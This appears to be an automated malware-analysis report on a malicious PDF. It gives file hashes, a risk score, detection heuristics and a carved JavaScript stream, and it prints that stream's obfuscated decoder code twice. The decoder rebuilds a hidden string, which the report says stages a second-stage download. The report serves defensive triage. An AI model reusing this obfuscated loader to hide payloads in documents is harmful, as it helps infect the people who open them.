PDF malware analysis — malicious · fcac098f215e3058

MALICIOUS

PDF

952 B First seen: 2026-05-10

MD5: 253b33da17b578893f3bdd442b4e2f22 SHA-1: 585102e3476ab72884c0724f2ac37efee4e7cf85 SHA-256: fcac098f215e30584ea0b979d5769e0d487ced5d55fe1ad60d25fc199f555d34

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj111712_000.js', exhibits obfuscation, suggesting it's designed to conceal malicious actions. The primary intent appears to be downloading and executing a second-stage payload, a common technique for initial access. The low severity of the heuristics and the lack of specific IOCs beyond the obfuscated script limit the confidence in a more precise family attribution.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

fscoa=new Array();while(bshtepg2.length){fscoa.push((erkrynk(bshtepg2.charCodeAt(0))<<(4+2))+erkrynk(bshtepg2.charCodeAt(1))-(500+12));bshtepg2=bshtepg2.slice(2,bshtepg2.length)}iudoj9=kvasg=bshtepg2=0;hvkoa6='';function erkrynk(aohpcm){if(aohpcm>92)aohpcm--;return aohpcm-42}function xzarfr(){if(bshtepg2==0){kvasg=erkrynk(xwbofmh.charCodeAt(iudoj9++));bshtepg2=6;}return ((kvasg>>--bshtepg2)&0x01);}while(bwgmb--){i=0;while(fscoa[i]<0){if(xzarfr())i=-fscoa[i];else i++;}hvkoa6+=String.fromCharCode( …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj111712_000.js`	pdf-javascript-stream	PDF /JS object 111712 at offset 0x1E5	511 bytes
SHA-256: `d930752a68866281b864c3236bdc601198a65cafe9bbdc10a90f53d79b2dd5f3`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script fscoa=new Array();while(bshtepg2.length){fscoa.push((erkrynk(bshtepg2.charCodeAt(0))<<(4+2))+erkrynk(bshtepg2.charCodeAt(1))-(500+12));bshtepg2=bshtepg2.slice(2,bshtepg2.length)}iudoj9=kvasg=bshtepg2=0;hvkoa6='';function erkrynk(aohpcm){if(aohpcm>92)aohpcm--;return aohpcm-42}function xzarfr(){if(bshtepg2==0){kvasg=erkrynk(xwbofmh.charCodeAt(iudoj9++));bshtepg2=6;}return ((kvasg>>--bshtepg2)&0x01);}while(bwgmb--){i=0;while(fscoa[i]<0){if(xzarfr())i=-fscoa[i];else i++;}hvkoa6+=String.fromCharCode(fscoa[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.